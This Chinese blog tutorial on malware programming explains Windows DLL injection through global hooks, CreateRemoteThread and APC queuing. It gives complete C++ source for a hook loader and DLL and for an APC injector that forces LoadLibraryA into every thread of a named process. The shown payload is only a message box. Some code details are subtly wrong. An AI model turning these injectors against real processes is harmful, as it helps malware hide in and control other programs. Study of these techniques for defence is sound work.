• 我们在哪一颗星上见过 ,以至如此相互思念 ;我们在哪一颗星上相互思念过,以至如此相互深爱
  • 我们在哪一颗星上分别 ,以至如此相互辉映 ;我们在哪一颗星上入睡 ,以至如此唤醒黎明
  • 认识世界 克服困难 洞悉所有 贴近生活 寻找珍爱 感受彼此

恶意代码编程:注入技术

恶意代码编程 云涯 4年前 (2020-06-14) 2061次浏览

病毒木马需要将执行的Shellcode或者DLL注入到目标进程中去执行,其中DLL注入最为普遍。因为DLL不需要像Shellcode那样要获取Kernel32.dll加载基址并根据导出表获取导出函数地址。若DLL成功注入,则表示DLL已经加载到目标进程空间中,其导入表、导出表、重定位表等均已经加载完毕,DLL中的代码可以正常执行。

1. 全局钩子注入

在windows中大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。Windows操作系统提供的钩子机制就是用来截获和监视系统中这些消息的。

按照钩子的范围不同,它们又可以分为局部钩子和全局钩子函数。局部钩子是针对某个线程的,全局钩子则是作用于整个系统的基于消息的应用。全局钩子需要使用DLL文件,在DLL中实现相应的钩子函数。

1.1 函数介绍

SetWindowsHookEX函数

将程序定义的钩子函数安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程想关联。

函数声明:

HHOOK WINAPI SetWindowsHookEx(

_In_ int idHook,

_ln_ HOOKPROC lpfn,

_In_ HINSTANCE hMod,

_
In_ DWORD dwThreadld)

参数:

idHook [in]  要安装的钩子程序的类型,该参数可以是以下值之一r

含 义
WH_CALLWNDPROC 安装钩子程序,在系统将消息发送到目标窗口过程之前监视 消息
WH_CALLWNDPROCRET 安装钩子程序,在目标窗口过程处理消息后监视消息
WH_CBT 安装接收对CBT应用程序有用通知的钩子程序
WH DEBUG 安装可用于调试其他钩子程序的钩子程序
WH_FOREGROUND1DLE 安装在应用程序的前台线程即将变为空闲时调用的钩子过 程,该钩子对于在空闲时执行低优先级任务很有用
WH_GETMESSAGE 安装一个的挂钩过程,它监视发送到消息队列的消息
WHJOURNALPLAYBACK 安装一个挂钩过程,用于发布先前由WHJOURNALRECORD挂钩过程记录的消息
WHJOURNALRECORD 安装一个挂钩过程,记录发布到系统消息队列中的输入消 息。这个钩子对于录制宏很有用
WH_KEYBOARD 安装监视按键消息的挂钩过程
WH_KEYBOARD_LL 安装监视低级键盘输入事件的挂钩过程
WH_MOUSE 安装监视鼠标消息的挂钩过程
WH_MOUSE_LL 安装监视低级鼠标输入事件的挂钩过程
WH_MSGFILTER 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监 视由于输入事件而生成的消息
WH_SHELL 安装接收对shell应用程序有用通知的钩子程序
WH_SYSMSGFILTER 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监 视由于输入事件而生成的消息,钩子程序监视与调用线程相 同桌面中所有应用程序的这些消息

Ipfh [in]

一个指向钩子程序的指针。如果dwThreadld参数为0或指定由不同进程创建线程标识符, 则Ipfti参数必须指向DLL中的钩子过程。否则,Ipfh可以指向与当前进程关联的代码中的钩子过程。

hMod [in]

包含由Ipfh参数指向的钩子过程的DLL句柄。如果dwThreadld参数指定由当前进程创建 线程,并且钩子过程位于与当前进程关联的代码中,则hMod参数必须设置为NULLo

dwThreadld [in]

与钩子程序关联的线程标识符。如果此参数为0,则钩子过程与系统中所有线程相关联。

返回值:

如果函数成功,则返回值是钩子过程的句柄。

如果函数失败,则返回值为NULL。

1.2. 实现过程

如果创建的是全局钩子,那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件 的进程地址空间中,使它能够调用钩子函数进行处理。

在操作系统中安装全局钩子后,只要进程接收到可以发出钩子的消息,全局钩子的DLL文 件就会由操作系统自动或强行地加载到该进程中。

因此,设置全局钩子可以达到DLL注入的目的。创建一个全局钩子后,在对应事件发生的时候,系统就会把DLL加载到发生事件的进程中, 这样,便实现了DLL注入。

为了能够让DLL注入到所有的进程中,程序设置WH GETMESSAGE消息的全局钩子。 因为WH_GETMESSAGE类型的钩子会监视消息队列,并且Windows系统是基于消息驱动 的,所以所有进程都会有自己的一个消息队列,都会加载WH_GETMESSAGE类型的全局 钩子DLL。

 

在EXE中加载DLL

#include <iostream>
#include <windows.h>
#include<cstdio>
using namespace std;


int main()
{
//定义布尔类型函数别名
typedef BOOL(*typedef_SetGlobalHook)(); 
typedef BOOL(*typedef_UnSetGlobalHook)();

//设置DLL句柄
HMODULE hDll = NULL;

BOOL bRet = FALSE;

//初始化
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_SetGlobalHook UnSetGlobalHook = NULL;


do
{
//加载DLL
hDll = LoadLibraryA("GlobalHook_Test.dll");
if (hDll == NULL)
{
cout << "加载DLL失败\n", GetLastError();
break;
}

//加载DLL中的加载钩子函数
SetGlobalHook = (typedef_SetGlobalHook)GetProcAddress(hDll, "SetGlobalHook");//强制类型转换
if (SetGlobalHook == NULL)
{
cout << "获取DLL导出函数失败\n", GetLastError();
break;
}
bRet = SetGlobalHook();
if (bRet) 
{
cout << "HOOK成功" << endl;
}
else
{
cout << "HOOK失败" << endl;
break;
}

//系统暂停
system("pause");

//加载卸载钩子函数
UnSetGlobalHook = (typedef_SetGlobalHook)GetProcAddress(hDll, "UnsetGlobalHook");
if (UnSetGlobalHook==NULL)
{
cout << "卸载钩子失败" << endl;
break;
}
UnSetGlobalHook();
cout << "卸载钩子成功" << endl;

} while (false);

system("pause");
return 0;

}

 

在DLL里设置钩子函数等

// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"


extern HMODULE g_hDllModule;
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")


// 钩子回调函数
LRESULT GetMsgProc( //LRESULT长整型,返回值是个结果
int code,
WPARAM wParam,
LPARAM lParam)
{
MessageBoxA(NULL, "注入成功", "系统提示", 1);
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}


// 设置全局钩子
BOOL SetGlobalHook()
{
g_hHook = ::SetWindowsHookEx(WH_MSGFILTER, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (NULL == g_hHook)
{
return FALSE;
}
else
{
MessageBoxA(NULL, "钩子设置成功", "系统提示", 1);
}
return TRUE;
}


// 卸载钩子
BOOL UnsetGlobalHook()
{
if (g_hHook)
{
::UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}

我测试了WH_KEYBOARD不能注入DLL,可能是有什么原因吧。

images

2. 远程线程注入

远程注入是指一个进程在另一个进程中创建线程的技术,是一种病毒木马青睐的注入技术。

2.1 session 0隔离

在Windows XP、Windows Server 2003 或早期Windows 系统时代,当第一个用户登录系统后服务和应用程序是在同一个Session 中运行的。这就是Session 0 如下图所示:

images

但是这种运行方式提高了系统安全风险,因为服务是通过提升了用户权限运行的,而应用程序往往是那些不具备管理员身份的普通用户运行的,其中的危险显而易见。

从Vista 开始Session 0 中只包含系统服务,其他应用程序则通过分离的Session 运行,将服务与应用程序隔离提高系统的安全性。如下图所示:

images

这样使得Session 0 与其他Session 之间无法进行交互,不能通过服务向桌面用户弹出信息窗口、UI 窗口等信息。

如果在开发过程中确实需要服务与桌面用户进行交互,可以通过远程桌面服务的API 绕过Session 0 的隔离完成交互操作。

2.2 远程线程注入

一个进程在另一个进程中创建线程的技术。之所以称为远程线程注入,是因为关键函数CreateRemoteTHread来在其他进程空间中创建一个线程。怎么加载一个DLL,实现DLL注入是原理的关键。

首先,程序加载一个DLL时,调用LoadLibrary函数。参数是要加载的DLL函数路径字符串。CreateRemoteThread函数需要传递是目标进程空间多线程函数地址,以及多线程参数。

可以利用这俩函数实现远程进程注入。

要解决问题:

目标空间中LoadLibrary函数地址是多少?

windows引入了地址随机化,每次开机时系统DLL加载基址都不一样,导致DLL导出函数地址不一样。有些系统DLL(例如 kernel32.dll ntdll.dll )加载基地址,要求系统启动后必须固定,如果系统重新启动,则其地址可以不同。也就是说,所软进程不同,但是开机后,kernel32.dll加载基地址在各个进程中都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址和其他进程空间的LoadLibrary函数地址相同。

如何向目标进程空间中写入DLL路径字符串数据?

调用VirtualAllocEx函数在目标进程空间中申请一块内存,然后调用WriteProcessMemory函数将指定DLL路径写入到目标进程空间中。

2.2.1 函数介绍

OpenProcess函数 打开现有的本地进程对象

函数声明

HANDLE WINAPI OpenProcess(

_In_ DWORD dwDsiredAccess,

_In_ BOOL bInheritHandle,

_In_ DWORD dwProcessId)

参数

dwDesiredAccess    访问进程对象。

bInheritHandle  TRUE为创建的进程

 

VirtualAllocEx函数   在指定进程的虚拟地址空间内保留,提交或更改内存状态

参数

hPRocess 过程句柄。

dwSize  指定要分配所需起始地址的指针

flALLOCATIONType  内存分配类型

flProtect  要分配的页面区域的内存保护

返回值

函数成功,返回值是分配的页面基址

函数失败,返回NULL

 

WriteProcessMemory函数 在指定进程中将数据写入内存区域,要写入的整个内存区域必须可访问,否则失败。

参数

hProcess  要修改的进程内存句柄。句柄必须有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限

lpBaseAddress  指向指定进程中写入数据的基地址指针。

lpBuffer  指向缓冲区指针

nSize 要写入指定进程字节数

lpNumberOfBytesWritten  指向变量的指针,该变量接收传输指定进程的字节数。

返回值

函数成功 返回不为0

失败返回0

 

CreateRemoteThread函数 在另一个进程的虚拟地址空间中创建运行的线程

参数

hProcess  要创建的进程句柄。

lpThreadAttributes  指向securty_attributes结构指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。

dwStackSize  堆栈初始大小

lpStartAddress   指向由线程指向类型为lpthread_start_routine的应用程序定义的函数指针,并表示远程进程中的线程起始地址。

lpParameter  指向要传递给线程函数的变量指针

dwCreationFlags 控制线程创建的标志

lpThreadId  指向接收线程标识符的变量指针

返回值

函数成功 返回新线程句柄

函数失败 返回NULL

3 APC注入

APC为异步过程调用,指函数在特定线程中被异步执行。APC是一种并发机制,用于异步IO或者定时器。

每一个线程都要自己的APC队列,使用QueueUserAPC函数把一个APC函数压入APC队列中。

当处于用户模式的APC压入线程队列后,该线程并不直接调用APC函数,除非该线程处于可通知状态,调用的顺序为先入先出。

可通知状态:

1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。

3.1 函数介绍

QueueUserAPC(pfnAPC,hThread,dwData)函数

将用户模式中的异步过程调用对象添加到指定线程的APC队列中。

  • pfnAPC 当指定线程执行可警告的等待操作时,指向应用程序提供的APC函数指针。
  • hThread 线程的句柄。该句柄必须具有THREAD_SET_CONTEXT访问权限。
  • dwData 传递由pfnAPC参数指向的APC函数的单个值。

3.2 实现过程

#include <SDKDDKVer.h>
#include <iostream>
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Tlhelp32.h>

using namespace std;

void ShowError(char* Text)
{
char szErr[MAX_PATH] = { 0 };
printf(szErr, "%s Error[%d]\n", Text);
MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}

// 根据进程名获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);

// 获取进程快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == NULL)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}

// 获取第一条进程快照信息
bRet = Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (lstrcmpi(pe32.szExeFile, pszProcessName)==0)
{
dwProcessId = pe32.th32ProcessID;
break;
}

bRet = Process32Next(hSnapshot, &pe32);
}

return dwProcessId;

}

// 根据PID获取所有的相应的线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;

do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (pThreadId == NULL)
{
ShowError("new space");
bRet = FALSE;
break;
}

RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

// 获取线程快照
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == NULL)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}

// 获取第一条线程快照信息
bRet = Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}

// 遍历下一个线程快照信息
bRet = Thread32Next(hSnapshot, &te32);
}

// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;

} while (FALSE);

if (bRet == FALSE)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}

// APC注入
BOOL ApcInjectDLL(char* pszProcessName, char* pszDLLName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL;
HANDLE hTread = NULL;
PVOID pBaseAddress = NULL; //PVOID => void *
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0;
SIZE_T dwDLLPathLen = 1 + lstrlen(pszDLLName);
DWORD i = 0;

do
{
// 根据进程名获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (dwProcessId <= 0)
{
bRet = FALSE;
break;
}

// 根据PID获取所有的相应的线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (bRet == FALSE)
{
bRet = FALSE;
break;
}

// 打开注入进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}

// 在注入进程空间申请内存
pBaseAddress = VirtualAllocEx(hProcess, NULL, dwDLLPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBaseAddress == NULL)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}

// 向申请的空间中写入DLL路径数据
WriteProcessMemory(hProcess, pBaseAddress, pszDLLName, dwDLLPathLen, &dwRet);
if (dwRet != dwDLLPathLen)
{
ShowError("WriteProcessMemory");
bRet = NULL;
break;
}

// 获取LoadLibrary地址
pLoadLibraryAFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryAFunc == NULL)
{
ShowError("GetProcAddress");
bRet = FALSE;
break;
}

// 遍历线程 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
cout << pThreadId[i] << endl;
hTread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hTread)
{
//插入APC
QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hTread, (ULONG_PTR)pBaseAddress);
CloseHandle(hTread);
hTread = NULL;
bRet = TRUE;
}
}
} while (FALSE);

// 释放内存
if (hProcess)
{
CloseHandle(hProcess);
hProcess = NULL;
}
if (hTread)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}

// 主函数
int main(int argc,_TCHAR *argv[])
{
BOOL bRet = NULL;

// APC注入

bRet = ApcInjectDLL("test.exe", "C:\\Users\\51257\\Desktop\\红\\恶意代码编写\\编程·三体\\面壁者\\Debug\\面壁者-创建DLL.dll");

if (bRet)
{
cout << "APC inject success" << endl;
}
else
{
cout << "APC inject fail" << endl;
}

system("pause");
return 0;
}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


云涯历险记 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:恶意代码编程:注入技术
喜欢 (0)